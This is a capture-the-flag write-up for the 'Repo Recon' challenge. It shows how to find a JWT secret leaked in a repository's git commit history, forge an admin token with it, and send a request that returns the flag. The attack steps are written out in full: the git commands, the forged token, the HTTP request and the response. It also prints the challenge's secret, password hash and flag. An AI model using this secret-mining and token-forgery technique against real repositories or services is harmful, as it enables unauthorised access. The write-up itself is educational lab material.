Challenge: Repo Recon

Leak Leak Leak Can you find the secret leak? Source Code: https://github.com/mowzk/repo-recon

Walkthrough

The challenge page contains a login form where it asks for username and password.

The hint is leak. We have to find a token kind of thing to pass authentication.

The challenge provides the source code on GitHub: https://github.com/mowzk/repo-recon

Solve

1. Reviewing files in the Repo

.env file

FLAG_VALUE=placeholderflag
ADMIN_HASH=$2b$04$9HAfoKBcIKUrTh8F73fL0.aWH/X5dYRnWXL7eikRaxqAEqRlktKM.
VIVER=prosogyrous

This is the place where developer can potentially drop a token & this can be recorded in one of the commits.

2. Searching for a secret token in commit history

git clone https://github.com/mowzk/repo-recon.git
git log -G SECRET

Found some commits after grepping:

commit e5b2d80c21a30629d866c2cc59b11abbf29c8694
Author: Elliot Ward <elliot.ward@snyk.io>
Date:   Tue Oct 24 09:41:03 2023 +0200

Searched the commit ID in repository and found changes in .env file:

- JWT_SECRET=18b471a7d39b001bf79f12ab952f1364
FLAG_VALUE=placeholderflag
ADMIN_HASH=$2b$04$9HAfoKBcIKUrTh8F73fL0.aWH/X5dYRnWXL7eikRaxqAEqRlktKM.
MARCASITE=unfroze

JWT SECRET: 18b471a7d39b001bf79f12ab952f1364

3. Reviewing source code

Cookie functioning after successful login:

app.post('/login', (req, res) => {
  const { username, password } = req.body;

  if (username === HARDCODED_USERNAME && bcrypt.compareSync(password, HARDCODED_HASHED_PASSWORD)) {
      const token = jwt.sign({ username }, JWT_SECRET, { expiresIn: '1h' });
      res.cookie('auth_token', token);
      res.send({ success: true, message: "Logged in successfully." });
  } else {
      res.status(401).send({ success: false, message: "Invalid credentials." });
  }
});

3. Go to JWT Debugger: https://jwt.io/

Craft the payload:

{
  "username": "admin",
  "iat": 1698462774,
  "exp": 1698463993
}

Add JWT_SECRET in VERIFY SIGNATURE field to sign the token.

Generate JWT Token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjk4NDYyNzc0LCJleHAiOjE2OTg0NjM5OTN9.yYJXV1d9JAVap5kHrd6op74hGidInV-_-SdndprNxb8

4. Fetching the flag

Send the request with auth_token cookie:

GET /flag HTTP/1.1
Host: challenge.ctf.games:32403
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjk4NDYyNzc0LCJleHAiOjE2OTg0NjM5OTN9.yYJXV1d9JAVap5kHrd6op74hGidInV-_-SdndprNxb8
Connection: close
Content-Length: 2

Response:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 64
ETag: W/"40-ErkLTGMoWHTgM8WXx6xBWTmWpY4"
Date: Sat, 28 Oct 2023 03:13:41 GMT
Connection: close

{"success":true,"flag":"flag{8ee442003863b85514585c598a6a628b}"}

Solution

Flag: flag{8ee442003863b85514585c598a6a628b}